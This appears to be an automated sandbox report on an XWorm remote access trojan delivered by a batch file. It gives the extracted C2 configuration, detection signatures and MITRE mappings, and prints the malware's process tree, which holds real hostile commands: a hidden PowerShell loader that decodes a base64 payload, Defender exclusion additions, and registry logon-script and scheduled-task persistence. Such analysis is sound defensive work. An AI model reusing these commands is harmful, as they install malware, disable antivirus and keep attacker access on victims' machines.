Analysis
- max time kernel
149s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
26/02/2026, 08:29
General
- Target aaa.bat
- Size 123KB
- Sample260226-kdl4csf15b
- SHA256 45640e60e357c0b6dede2e7535c8fe0bb1f12386bc53ac49d1852afda40ea614
Malware Config
Extracted
-
xworm
-
5.0
-
216.250.252.227:80
-
omP72s7FHM3AlVmY
-
install_file
USB.exe
Signatures
- Detect Xworm Payload 1 IoCs
- Detects DonutLoader 1 IoCs
- DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Donutloader family
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell and hide display window.
- Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 15 IoCs
- Views/modifies file attributes 1 TTPs 2 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\aaa.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\aaa.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -w hidden -executionpolicy bypass -c "try { $instead = (Get-Content 'C:\Users\Admin\AppData\Local\Temp\aaa.bat') -join [Environment]::NewLine; if ($instead -match ':REMuiOdZDqig3n7([A-Za-z0-9+/=]+)') { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($matches[1])) | sc \"C:\Users\Admin\AppData\Local\Temp\FUTURE.ps1\" } } catch {}"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -W Hidden -EP Bypass -f "C:\Users\Admin\AppData\Local\Temp\FUTURE.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rta4amh2\rta4amh2.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES37A5.tmp" "c:\Users\Admin\AppData\Local\Temp\rta4amh2\CSC58D0497C73A4964BA3D09EE4679321.TMP"6⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3qakj1ml\3qakj1ml.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES39C8.tmp" "c:\Users\Admin\AppData\Local\Temp\3qakj1ml\CSCBC7F4AC6A86F44658811B3FBD5D9F7CB.TMP"6⤵
-
-
-
-
C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries"4⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\sysinit_Qj9Im8Fh.cmd"4⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exereg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\sysinit_Qj9Im8Fh.cmd" /f4⤵
- Registers new Windows logon scripts automatically executed at logon.
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "WindowsInitCheck" /tr "cmd /c \""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\upd_9St2nsJh.bat\"" /sc ONLOGON /f >nul 2>&14⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Explorer.EXE'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Explorer.EXE'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
ModuleAnalysisCache
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
3qakj1ml.dll
FUTURE.ps1
RES37A5.tmp
RES39C8.tmp
__PSScriptPolicyTest_y3ap0zue.i1q.ps1
rta4amh2.dll
sysinit_Qj9Im8Fh.cmd
3qakj1ml.0.cs
3qakj1ml.cmdline
CSCBC7F4AC6A86F44658811B3FBD5D9F7CB.TMP
CSC58D0497C73A4964BA3D09EE4679321.TMP
rta4amh2.0.cs
rta4amh2.cmdline
memory/1436-112-0x000002633F740000-0x000002633F796000-memory.dmp
memory/1436-111-0x000002633F230000-0x000002633F242000-memory.dmp
memory/2156-0-0x000001D2FD330000-0x000001D2FD340000-memory.dmp
memory/2156-13-0x000001D2FD2F0000-0x000001D2FD302000-memory.dmp
memory/2156-9-0x000001D2FD330000-0x000001D2FD340000-memory.dmp
memory/2156-7-0x000001D2FD3E0000-0x000001D2FD402000-memory.dmp
memory/2156-1-0x000001D2FD330000-0x000001D2FD340000-memory.dmp
memory/3156-59-0x0000000004920000-0x0000000004931000-memory.dmp
memory/3156-69-0x0000000004A90000-0x0000000004A91000-memory.dmp
memory/3156-61-0x0000000004A70000-0x0000000004A7E000-memory.dmp
memory/3556-85-0x0000021A5AC60000-0x0000021A5AC7C000-memory.dmp
memory/3556-93-0x0000021A5B050000-0x0000021A5B05A000-memory.dmp
memory/3556-96-0x0000021A5AFF0000-0x0000021A5B046000-memory.dmp
memory/3556-95-0x0000021A422B0000-0x0000021A422C2000-memory.dmp
memory/3556-92-0x0000021A5AD80000-0x0000021A5AD86000-memory.dmp
memory/3556-91-0x0000021A5AD50000-0x0000021A5AD58000-memory.dmp
memory/3556-90-0x0000021A5B070000-0x0000021A5B08A000-memory.dmp
memory/3556-89-0x0000021A5AD40000-0x0000021A5AD4A000-memory.dmp
memory/3556-88-0x0000021A5AD60000-0x0000021A5AD7C000-memory.dmp
memory/3556-86-0x0000021A5AC80000-0x0000021A5AD33000-memory.dmp
memory/3556-87-0x0000021A5AC50000-0x0000021A5AC5A000-memory.dmp
memory/4892-26-0x000001AFC8C60000-0x000001AFC8C70000-memory.dmp
memory/4892-39-0x000001AFE1200000-0x000001AFE1208000-memory.dmp
memory/4892-52-0x000001AFE1210000-0x000001AFE1218000-memory.dmp
memory/4892-53-0x000001AFC8C60000-0x000001AFC8C70000-memory.dmp
memory/4892-54-0x000001AFC8C60000-0x000001AFC8C70000-memory.dmp
memory/4892-57-0x000001AFC8C60000-0x000001AFC8C70000-memory.dmp
memory/4892-55-0x000001AFC8C60000-0x000001AFC8C70000-memory.dmp
memory/4892-56-0x000001AFC8C80000-0x000001AFC8C92000-memory.dmp
memory/4892-24-0x000001AFC8C60000-0x000001AFC8C70000-memory.dmp
memory/4892-16-0x000001AFC8C60000-0x000001AFC8C70000-memory.dmp
memory/4892-15-0x000001AFC8C60000-0x000001AFC8C70000-memory.dmp